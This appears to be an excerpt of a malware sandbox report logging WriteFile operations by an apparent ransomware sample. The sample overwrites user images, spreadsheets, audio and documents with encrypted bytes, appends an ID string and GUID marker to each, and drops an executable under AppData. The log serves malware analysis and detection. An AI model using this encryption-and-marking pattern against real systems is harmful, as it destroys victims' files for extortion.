1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx

5 1021 5e 5c fd fd d7 5c 6e 64 73 
82 56 2d 51 74 fd 43 fd 
1b 63 fd 17 06 fd 36 0d 
55 51 fd 6a 09 6f 17 57 fd 
20 63 72 21 64 8e 2a fd 
29 4f fd 4f 4a 57 77 18 fd 
28 69 66 fd fd 79 fd fd 73 
4f 60 fd 47 55 3c fd 03 fd 
fd fd fd 34 65 2e fd 5d 2c 
0b fd 16 9f fd 7f 77 fd fd 
64 d2 59 25 fd 6f fd 39 fd 
fd 37 fd fd fd fd 5e 4f 5b 
fd fd 16 fd 9e 0d fd 71 fd 
fd 44 1f fd 12 70 74 fd 19 
fd fd fd 52 6e 0f 35 fd c4 
fd 33 07 fd 5d fd fd 14 fd 
55 59 fd d3 7f fd fd 6b 5e 
76 7c 04 fd 0f 07 5e fd 16 
fd fd 7b fd 4c fd 24 fd fd 
00 35 fd 05 fd fd 54 fd 59 
fd fd 7c 26 50 42 79 12 
0b 13 fd fd fd fd fd 0e 32 
fd 46 57 fd 5c 57 fd 5c 23 
fd fd 43 15 2f 6d 63 2e fd 
fd 22 fd fd fd fd 1a 29 fd 
fd fd 53 fd 64 57 fd 04 1f 
6f fd 04 52 

^\\ndsV-QtCc6UQoW 
cr!*)OOJWw(i
fysO`GU<4e.],wdY%o97^
O[qDptRn5
]UYk^v|^{L$5Y|&PBy2FW
\W\#C/mc.")dWoR

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx

1026 256 fd fd 30 4e fd fd 05 27 33 
fd 48 fd 3c 23 fd 72 1c fd 
0c fd 1e fd 6d fd fd 78 14 
a6 73 0e fd 22 1e fd fd fd 
fd fd 1a 02 fd fd fd 6e fd 
fd 3d 5f 41 6f 1a fd 6e 77 
fd 4e 5c fd 41 fd 68 fd fd 
1b 6e 7b fd fd 03 35 8c fd 
fd fd 7c 41 fd 28 fd 3f 76 
fd 27 c7 fd 62 fd 01 26 fd 
fd fd fd fd 07 1f 4d fd 01 
fd 22 22 fd 50 fd fd fd 7d 
31 fd 7e 05 fd 22 52 fd 3d 
fd 0d fd 4c 48 59 fd fd 1f 
50 77 fd fd fd fd 63 4b 5c 
fd 4e fd fd 1f fd 6a fd fd fd 
75 23 67 71 5e fd 31 32 
fd fd 2c 20 19 fd 6d fd fd 
fd fd 4b fd 55 35 51 18 04 
69 03 fd 45 fd 6e fd 33 fd 
3c 34 fd 66 fd 1a 62 fd fd 
fd 1e fd fd 6a 5f fd 42 fd 
fd 52 68 6d 78 1b fd 14 
4d fd fd 6d 35 fd 3a fd 8d 
fd fd 6a 23 2a fd 61 27 3d 
fd fd 08 30 1e 73 32 fd 0f 
07 75 20 fd 06 fd 60 73 fd 
2a fd fd 

0N'3H<#rms"n=_AonwN\
Ahn5|A(?v'
b&M""P}1~"R=LHYPwcK\
Nju#gq^12, 
mKU5QiEn3<4fbj_BRhm
xMm5:j#*a'=0s2u `s*

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3

5 1021 fd fd 7b fd 29 fd 12 77 fd 
fd 26 12 fd 77 fd 64 fd 72 
fd 5e 56 fd fd 29 6e fd fd 
3e fd fd 5a fd 3f 4b 14 06 
1c 26 7f fd fd 5a fd fd 6e 
59 fd fd 3a fd fd 63 25 fd 
1c 3d fd 21 70 fd 3a 0f fd 
75 fd fd fd fd 10 60 fd 0d 
fd fd 4d fd 44 14 fd fd 37 
fd fd fd fd 76 fd 12 31 fd 
14 47 ca fd 26 fd 60 fd 4a 
fd fd fd fd 0e 1f fd 60 fd 
09 4d fd 0b fd 5c 08 fd fd 
fd 52 37 fd 25 fd 06 fd fd 
fd 47 fd fd fd fd 73 40 fd 
46 04 fd 41 fd fd 21 fd fd 
fd 43 47 6b fd 5a fd 01 72 
f4 0b fd fd fd 4c fd e6 4f 
78 6d fd fd fd 7d c0 1c fd 
fd 20 0e fd 44 08 fd 60 fd 
50 71 fd 43 fd fd fd 2f 58 
7f 41 3f 2d 5e 09 fd fd fd 
24 41 fd 0c 3b fd 60 05 fd 
6b 70 70 fd fd fd 7e 27 fd 
fd 01 32 6f 11 fd 5f fd fd 
50 fd fd 5c fd 6b 0c 47 66 
fd 0c 1d fd fd 5d 35 5f fd 
fd 

{)w&wr^V)n>Z?
K&ZnY:c%=!p:u`MD7
v1G&`J`M\R7%GsFA!CG
kZrLOxm} D`PqC/XA?-
$A;`pp~'2o_P\kGf]5_

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3

1026 256 59 fd fd fd 50 fd fd fd 78 
4b fd fd d7 2b 3f fd 33 40 
7d 71 fd 6a 49 fd fd 47 2f 
63 50 5b fd 40 fd fd 19 75 
04 fd 04 fd 70 09 fd fd 7f 
41 fd 56 fd 2c fd fd 70 77 
fd fd fd 07 fd 61 fd fd 87 
fd fd 28 98 fd 19 1c 10 fd 
fd 20 fd fd 01 fd fd fd fd fd 
f8 31 fd fd 72 fd fd 2b 68 
fd 6b fd 26 6c 7f fd fd fd 
38 2c 3f 39 24 fd fd 5a 06 
fd fd 30 fd fd 09 07 3f 22 
5e fd fd fd 6f 6b 50 fd fd 
fd 71 7c fd 3c fd 62 19 fd 
fd 75 fd 7c fd fd fd 10 6b 
12 0e fd fd 3b fd fd 08 25 
1d fd fd 3b fd 73 fd 45 fd 
fd 7f 79 39 70 0b 3b b2 
1c fd fd 13 fd 0a fd 75 5a 
3c 71 2d 18 77 fd 29 fd fd 
09 49 13 6f 2b 65 1b 1b 
d8 0d fd fd b6 fd 7a 21 fd 
fd 5e fd 6b 7d 26 2e fd 4a 
07 03 fd fd ad fd 7c 36 fd 
05 3f 4c fd fd 5c fd fd 05 
fd 50 

YPxK+?
3@}qG/cP[@upAV,pwa( 
1r+hk&l8,?
9$Z0?"^okPq|bu|k;%;sEy
9p;uZ<q-w)Io+ez!^k}&.|6?
L\P

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png

5 1021 fd 25 39 04 fd 31 fd 71 fd 
72 fd fd 11 fd 3c fd 7c fd 
54 fd 77 fd 6e fd 28 55 fd 
71 60 26 11 fd 3f 5f 52 62 
67 43 83 16 78 2e fd 35 
4b 14 4b fd fd fd 79 2f fd 
5a 24 fd 52 0a 12 fd 2d 
0e 4e fd 7f 21 fd 67 fd 2b 
fd 57 3a 05 34 5f 61 2d 
0c fd 32 fd 73 fd 4d 27 68 
fd fd 14 17 37 31 2f 4b fd 
42 fd 17 fd 7c 46 fd 52 fd 
12 3a 59 fd fd 09 12 0f fd 
fd 3f 67 2c fd 62 6c fd fd 
0c 1c fd 78 69 33 71 fd 
7e fd 76 fd 12 fd fd f2 2c 
13 37 1e 67 20 22 05 fd 
0e 04 05 fd fd fd 5e fd fd 
6d 36 fd 76 fd 04 22 fd 55 
fd 7a fd 7e fd 4e fd 55 4a 
1a 6a 49 fd fd 3e fd fd fd 
fd 00 4f fd fd 44 15 30 fd 
fd 40 39 fd 53 72 fd fd 7e 
fd 03 fd 1f 07 fd fd fd 34 
2f fd 2a fd 7b 30 0f 0c 40 
25 fd fd 5e fd 5d 3a 1a fd 
6e fd fd fd fd 01 2b fd fd 
58 fd 08 fd fd 52 78 2e 

%91qr<|Twn(Uq`&?
_RbgCx.5Ky/Z$R-
N!g+W:4_a-
2sM'h71/KB|FR:Y?g,b
lxi3q~v,7g 
"^m6v"Uz~NUJjI>OD0@
9Sr~4*{0@%^]:n+XRx.

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png

1026 256 3b fd fd ac fd fd 30 fd 53 
27 53 fd fd fd 7e 28 2c fd 
3e 2a 3a fd fd 57 37 fd fd 
96 fd fd fd 54 fd 07 fd 06 
29 fd 0b fd fd 71 fd 0b 0e 
fd fd 03 1a 50 50 fd 70 fd 
65 0a fd 6c 00 45 fd fd fd 
0c 2b 18 40 fd 7d 4f fd 07 
0c 5a fd fd 71 3e fd 50 3c 
fd 79 5f 7a 49 fd fd 71 5b 
7a fd fd fd fd 3e 24 30 7b 
fd 59 fd 1b 7c 0e 6a fd 59 
fd 08 27 3d 62 fd fd 04 03 
fd fd 27 0f fd fd 44 fd 7a 
6a 41 fd 47 4b fd fd 62 fd 
58 fd 79 1c 3e 4a fd fd 46 
fd fd 5b 40 7d 2f fd 73 22 
fd fd fd fd 05 45 fd 75 fd 
54 77 05 2e 2c 06 fd 1f fd 
71 fd 49 19 fd 31 6e 4d 
40 52 40 38 fd 59 2c 5d 
fd 46 11 fd 14 17 fd fd 29 
16 69 3e 69 72 fd fd 75 fd 
70 fd 48 40 fd 28 fd 4c 86 
fd 4e 76 7f fd 61 fd 5c fd 
7e fd fd 1e 5f fd fd 7f fd fd 
fd 7a fd 3a 66 fd 35 5b 21 
fd fd 

;0S'S~
(,>*:W7T)qPPpelE+@}O
Zq>P
<y_zIq[z>$0{Y|jY'=b'DzA
GKbXy>J
F[@}/s"EuTw.,qI1n@R@
8Y,]F)i>ir
upH@(LNva\~_z:f5[!

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx

5 1021 78 fd fd 54 fd 42 59 6b 5a 
fd 48 18 fd 4f fd fd 03 26 
fd 69 79 55 65 0e fd fd 01 
24 fd fd fd fd 32 0f fd fd 
47 09 11 2b fd 00 fd fd fd 
fd 45 3c 11 fd fd fd 1b fd 
fd 16 68 57 fd 2b fd 07 fd 
77 fd 42 fd 4e fd 11 65 fd 
60 5f 3a 66 fd fd fd 7b 55 
00 6a 08 fd 11 4e fd 09 fd 
fd fd 12 58 2b 0d fd fd fd 
7e fd fd 1e fd 61 fd fd fd 
fd fd 1d fd 7c 5a 67 fd fd 
fd fd fd 65 64 fd 33 bc 5c 
78 fd 74 0d 17 7a 23 53 
fd fd 28 fd 6e fd 27 25 05 
73 fd 34 1a 29 fd fd 47 68 
49 62 6e fd 27 fd 53 05 
00 fd fd fd 43 fd fd 57 fd 
01 fd 0a 0f fd fd 21 f5 18 
05 10 19 1c fd fd 55 fd fd 
fd 36 fd fd fd 2d 6d 4b 2f 
58 7b fd fd 30 27 7e fd 74 
fd 02 fd 2a fd fd 78 27 08 
7e 3b fd fd 2d 1e fd 6d 74 
fd fd fd 79 62 fd fd fd fd 
57 fd 1e fd 65 1b fd 5e fd 
6d fd fd 17 fd 

xTBYkZHO&iye$2G+E<h
W+wBNe`_:f{
UjNX+~a|Zged3\xtz#S(n'
%s4)GhIbn'SCW!U6-
mK/X{0'~t*x~;mtybWe^m

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx

1026 256 70 69 40 24 18 18 fd 2b 
6f 3a fd fd fd 41 fd fd 7d 
71 1b fd 6a fd fd db 0c 13 
fd 74 fd 7c 3d fd 5b 01 fd 
fd fd 61 fd fd fd 3b 18 fd 
fd 15 54 7a fd 1e fd 2c 13 
fd 09 79 2f 29 fd 45 6c 47 
4e 54 7b 4a 6f 25 fd 12 
78 fd 7e 3f fd fd 02 fd fd fd 
64 fd 50 4a fd fd fd 47 20 
fd 3c fd fd fd 75 02 42 fd 
5e 32 fd 4a fd fd 68 fd 3e 
42 45 26 fd fd 6f fd 3f fd 
fd fd 29 70 18 26 fd fd 2e 
fd fd 48 33 72 4b fd 05 fd 
0f fd fd fd 36 fd 06 7d 22 
5a fd fd 5c 72 fd fd fd 73 
64 fd fd 06 fd fd fd fd 26 
52 21 50 fd 12 66 4d 7c 
fd 55 07 fd 61 57 fd fd fd 
fd fd 93 fd 34 fd 77 fd 39 
2c 32 08 42 fd fd 36 38 fd 
fd 3a 61 11 6f 0a 9d fd 44 
d6 fd fd ba fd 2c fd fd 08 
fd 3e 77 2e fd fd fd 04 17 
fd fd fd 1b 43 fd fd 1b fd 
fd 50 15 fd fd 10 fd 29 3a 

pi@$+o:A}qjt|=
[aTz,y/ElGNT{Jo%x~?
dPJG<uB^2h>BE&o?)p&.
H3rK6}"
Z\rsd&R!PfM|UaW4w9,2
B68:aoD,>w.CP):

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\AppData\Local\Co
nnectedDevicesPlatform\CDPGlob
alSettings.cdp

5 1984 4f fd 06 fd 24 fd 38 fd fd 
fd 4c 77 fd fd 2e fd 7a 3d 
44 5b 26 fd 3f fd 41 fd 65 
fd 7c 45 fd fd 1d fd 4f 4f 
fd fd fd fd fd 75 7e 71 fd 
fd fd a0 40 fd 77 68 68 fd 
fd 04 fd 3e 35 fd fd e1 fd 
fd 79 fd fd 70 3c 46 21 51 
fd 3c fd fd 3d fd 31 fd fd 
49 fd 3a fd fd fd fd 08 fd 
5b fd 09 fd fd 19 5b 22 4c 
fd 64 3a fd 20 fd 28 30 45 
fd 23 fd 50 16 0c 6c 24 
58 57 fd 75 7b fd fd a2 78 
4a 3e fd fd fd fd fd 3e 33 
07 fd fd 43 3f 63 fd fd 78 
fd 3a 31 26 29 62 15 17 
fd fd 67 fd fd fd 21 fd 69 
2e 48 fd 5b 4d 15 26 fd fd 
65 fd fd fd 3a fd 31 fd 17 
56 39 fd 36 fd 4b fd fd 69 
00 63 20 fd fd fd 26 02 59 
5c fd 56 02 08 fd fd 2e 6a 
fd fd 53 fd fd 29 5f 00 fd 
fd 35 6b 55 3f 2f fd 5d fd 
21 15 fd fd 67 fd 38 58 36 
69 fd 55 fd fd fd 0e 72 1a 
fd 30 fd 7d 

O$8Lw.z=D[&?
Ae|EOOu~q@whh>5yp<
FQ<=1I:[["Ld: 
(0E#P$XWu{xJ>>3C?
cx:1&)bg!i.H[&e:1V96Kic 
&Y\V.
jS)_5kU?/]!g8X6iUr0}

success or wait 1 411859 WriteFile

C:\Users\user\AppData\Local\Co
nnectedDevicesPlatform\CDPGlob
alSettings.cdp

1989 256 fd fd 18 fd 64 fd 67 fd 43 
fd 56 1f 49 6e 49 2f fd fd 
65 68 22 62 fd fd 06 fd fd 
2d 03 64 02 fd 10 17 fd 
24 68 fd 63 61 76 72 62 
fd 08 33 fd 35 fd 19 4b fd 
fd 35 fd 58 00 fd 0e 35 fd 
31 fd fd fd 65 0f fd 5e fd 
fd 4b da fd 15 fd 08 02 fd 
07 37 31 fd fd 14 fd fd 11 
1e fd 72 fd fd 5d 07 fd 02 
4f fd 47 70 05 12 0e fd fd 
5f 7b fd 43 fd fd 7b 65 24 
43 fd 27 fd 77 fd 5b fd fd 
64 fd 38 3c fd 30 fd 2d fd 
5b fd fd fd fd fd fd 2b 39 
5b 4e fd 3c fd 45 fd 22 19 
fd 15 12 18 fd fd 5f 2e 33 
fd fd fd fd fd 53 fd 2e 0c 
23 fd 29 1d fd fd fd 68 fd 
fd fd 15 6c fd fd 45 fd 00 
55 74 fd 5f 41 fd fd 0b fd 
fd fd fd fd 6d fd 13 44 56 
4f 1f fd 67 d2 fd 0f fd fd 1f 
0e 4e 00 fd 57 7e 6a fd fd 
30 fd 45 fd fd 28 fd fd 5a 
1f 48 fd fd c7 66 77 fd fd 
0b 32 

dgCVInI/eh"b-
d$hcavrb35K5X51e^
K71]OGp_{C{$C'w[d<0-
[+9[N<E"_.
3S.#)hlEUt_AmDVOgNW
~j0E(ZHfw2

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Co
nnectedDevicesPlatform\CDPGlob
alSettings.cdp

2245 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Co
nnectedDevicesPlatform\CDPGlob
alSettings.cdp

2285 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

5 153600 fd 1f 68 fd fd fd 6d 3d fd 
62 1b fd 46 7c 6d fd fd 11 
fd fd 46 fd fd fd 16 55 4a 
3b fd fd 6b fd 5a fd fd fd fd 
2b 71 18 02 4b 27 55 66 
fd 67 fd 4a 3e 61 fd 23 2c 
1b 06 fd 7c fd fd 71 fd fd 
54 fd fd fd 6f fd fd fd 1a fd 
fd 0f fd 42 fd fd 70 fd fd fd 
4c fd 37 54 fd fd fd fd 5e 
79 48 31 53 34 5d fd 61 
3e 32 50 34 fd 30 56 fd 
30 1d fd 05 3d 63 fd 36 fd 
5d 30 fd fd 7e fd 39 fd 74 
14 65 fd fd 58 55 09 50 fd 
22 fd fd fd 68 5c 68 fd fd 
27 12 fd 6a fd fd fd 4e 0a 
1f fd fd fd fd fd 43 fd 52 fd 
3d 3c 36 fd 5e 4e 70 60 
fd 14 3d 6d fd fd fd fd fd 
fd 55 2c fd fd 4e fd fd 17 
0a 29 fd fd 2e 3a 40 4a 
33 fd 43 51 08 fd 55 fd fd 
33 9e 49 03 06 fd 11 fd 
0a 45 4b 58 07 5b fd fd 2f 
fd 6a fd 16 53 03 4c fd fd 
53 3e 20 fd 48 99 fd 29 fd 

hm=bF|mFUJ;kZ+qK'Ufg
J>a#,|qToB
pL7T^y1S4]a>2P0V0c6]0
~9teXUP"hh'jNCR=
<6^Np`=mU,N).:@3CQU
3IEKX[/jSLS> H)

success or wait 1 411859 WriteFile

C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

878080 256 3f fd fd 69 75 fd 4c fd fd 
7b 46 77 fd fd 67 fd fd fd 
2d fd 05 fd 25 11 1b fd fd 
2c b1 1f 2a 3f 43 64 6c 
5b fd 63 fd 2c a5 21 fd 5b 
38 fd fd 21 17 5a 71 68 fd 
fd fd 0b 61 fd fd 21 58 fd 
a7 47 fd fd 73 4f fd 60 fd 
89 fd fd fd 45 41 0d fd fd 
fd 71 52 fd fd fd fd 17 41 
60 63 12 fd 53 3f 72 fd fd 
fd 29 71 2a 32 2d 32 fd 
21 fd fd 5d fd 22 78 65 6b 
fd fd 3b fd 36 fd fd 6a fd 
27 fd 6b 57 87 39 fd 51 
6c fd 7d 66 fd 0e fd fd 39 
fd fd fd 13 62 7f fd 44 fd 
4d 0e fd fd fd fd fd 12 2f 
35 60 fd fd fd fd 16 2a fd 
11 b4 fd fd 4c 3e fd fd fd 
4a fd 02 fd fd fd 54 31 1f 
65 7e fd fd fd fd 66 95 47 
fd fd 44 0e 5d 5a fd fd 67 
fd fd fd 02 72 fd 44 67 4c 
fd 56 73 08 11 4a fd fd 51 
6a fd fd 20 75 fd fd 16 fd 
fd fd fd 56 68 fd 2b 29 

?iuL{Fwg-%,*?Cdl[c,!
[8!Zqha!XG
sO`EAqRA`cS?r)q*2-
2!]"xe;6j'kW
9Ql}f9bDM/5`*L>JT1e~fG
D]ZgrDgLVsJQj uVh+)

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

878336 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

878376 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\AdobeARM.log

5 4160 fd 6e fd fd 78 50 fd fd fd 
06 fd 71 fd fd 13 fd 27 2e 
2b 55 55 36 fd 76 fd fd fd 
1a fd 3a fd 10 fd 04 fd fd 
1e 5e fd 7d 7b 37 fd 3d fd 
a9 fd fd 46 fd 53 fd 1e fd 
fd fd 3e fd 3f fd 21 7c 54 
4c fd fd fd 7f fd fd fd e9 
7d 3a 6b fd fd 27 58 7e 3f 
4b 5a fd fd 56 fd fd fd fd 
36 5f fd 6b 11 12 60 fd fd 
fd 58 58 4f 0f 2f fd fd 2b 
55 fd fd 21 fd fd 7a 2d 77 
fd fd 11 fd 4b fd fd c7 e1 
28 fd 28 fd 63 69 fd fd 59 
09 fd 38 63 38 fd 4d fd 64 
fd fd fd 2d fd 4d fd 20 50 
11 7f 21 fd 32 fd 0a 58 27 
fd 6b fd 6d 2a 73 fd 01 fd 
5a 69 42 fd 7a 38 77 38 
1a 48 6a 4d fd 7f fd fd 22 
fd 60 56 fd fd 45 fd 48 fd 
fd fd fd fd 66 14 fd fd fd fd 
40 fd 47 60 fd 6c fd 40 fd 
23 fd 0c 01 fd fd 76 fd 43 
58 5d fd fd 11 34 fd 1b 68 
2d 64 12 fd 0c b3 6a 60 
fd 

nxPq'.+UU6v:^}
{7=FS>?!|TL}:k'X~?
KZV6_k`XO/+U!z-
wK((ciY8cMd-M 
P!2X'km*sZiBz8w8HjM"`
VEHf@G`l@#vCX]4h-dj`

success or wait 1 411859 WriteFile

C:\Users\user\AppData\Local\Te
mp\AdobeARM.log

4165 256 fd fd 29 6f fd fd 67 27 11 
fd 52 fd 7f fd a1 36 fd 55 
fd fd fd 77 fd 74 fd fd 5b 
fd 44 15 56 fd fd 58 fd fd 
1e fd fd fd 38 fd 1a 07 43 
fd fd fd 1a fd fd 4e fd fd 
72 fd 10 61 26 fd 5c fd fd 
fd 34 fd fd fd fd fd fd fd 27 
09 0c fd 02 fd fd fd 38 2c 
fd 50 fd 11 36 fd 25 a6 23 
fd fd 18 24 fd fd 4b fd 41 
6d 76 fd fd fd 7b 39 fd fd 
fd fd fd fd fd 7d 16 fd fd 
44 fd fd 1a fd 6e fd fd 47 
fd fd d2 0b fd 77 fd 2e fd 
30 fd fd 3b 31 0a 6b 6a 
0b 21 65 4a fd 27 fd fd 57 
40 fd fd fd 18 3b 2e fd 00 
fd fd 43 58 fd 13 37 fd fd 
3e fd 46 5a 53 fd 47 fd 3f 
50 fd fd 6e 70 fd 60 2e 37 
60 fd fd 69 fd fd 07 3a 70 
fd fd 1b fd 28 fd 4b fd fd 
6d fd fd 54 f7 fd 6f 78 fd 
11 08 fd 26 fd 6d fd 3c 3c 
fd fd fd fd 2a 77 fd 21 44 
7a fd 4b fd fd fd 5b 32 07 

)og'R6UwtDVX8CNra&\4'
8,P6%#$KA
mv{9}DnGw.0;1kj!eJ'W@
;.CX7>FZSG?
Pn`.7`i:p(KmTox&m<<*w!
DzK[2

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Te
mp\AdobeARM.log

4421 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Te
mp\AdobeARM.log

4461 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\chrome_installer.log

5 21268 05 fd fd fd 2c fd 20 fd fd 
36 01 4c 06 fd 7a fd 25 fd 
fd 7f 63 fd fd 28 61 3a fd 
fd fd fd 02 70 3d 05 39 21 
fd 0e 29 20 fd 5f fd 6a 87 
fd fd fd 56 3e fd fd fd 6b 
fd fd fd 29 44 3b fd 4a 7a 
fd fd fd fd fd fd fd 7e 1e fd 
fd fd fd 19 54 fd 65 04 fd 
fd 4a 30 fd fd 59 fd 34 fd 
16 fd 5f fd fd 7e fd fd fd 7f 
fd fd fd 29 fd fd 1c fd 22 
1b f3 05 21 7c 32 fd fd 56 
fd 4e fd 14 fd fd 76 fd fd 
fd 3b fd fd fd fd fd 6e 13 
fd fd 6e fd fd 26 fd fd 0d 
fd 58 0d fd 72 fd 23 34 0c 
33 fd fd 5c 73 39 70 fd 3a 
fd 7a fd fd fd 16 5c 3b 25 
06 fd 2f 03 05 fd 23 fd fd 
41 5a fd fd 30 1d 35 50 fd 
20 fd 06 0c fd fd 0d fd 2d 
fd fd 06 5b fd 21 72 fd 4e 
fd fd f1 fd 55 41 fd 1d 5b 
fd 32 3f 0f 54 10 fd 78 02 
fd 6c 0b 7c fd 65 fd 2d fd 
fd 2e 03 4c 

, 6Lz%c(a:p=9!) 
_jV>k)D;Jz~TeJ
0Y4_~)"!|2Vv;nn&Xr#43\s
9p:z\;%/#AZ05P-
[!rNUA[2?Txl|e-.L

success or wait 1 411859 WriteFile

C:\Users\user\AppData\Local\Te
mp\chrome_installer.log

21273 256 fd fd fd 37 fd 0b 64 64 43 
34 37 fd 09 4a fd 1f 12 fd 
2f 73 fd fd 62 00 fd fd 3a 
79 fd 1e fd 11 4f fd 52 4c 
7a fd fd d1 48 62 fd 23 0f 
78 fd 41 fd fd fd fd fd 79 
fd 0a fd fd fd 20 fd 2e fd 
5f 30 fd 1d 64 73 fd fd 46 
fd 07 fd 1a 04 11 63 fd fd 
40 fd fd 69 fd 1b fd 73 15 
28 fd 47 fd 12 17 fd 5e 02 
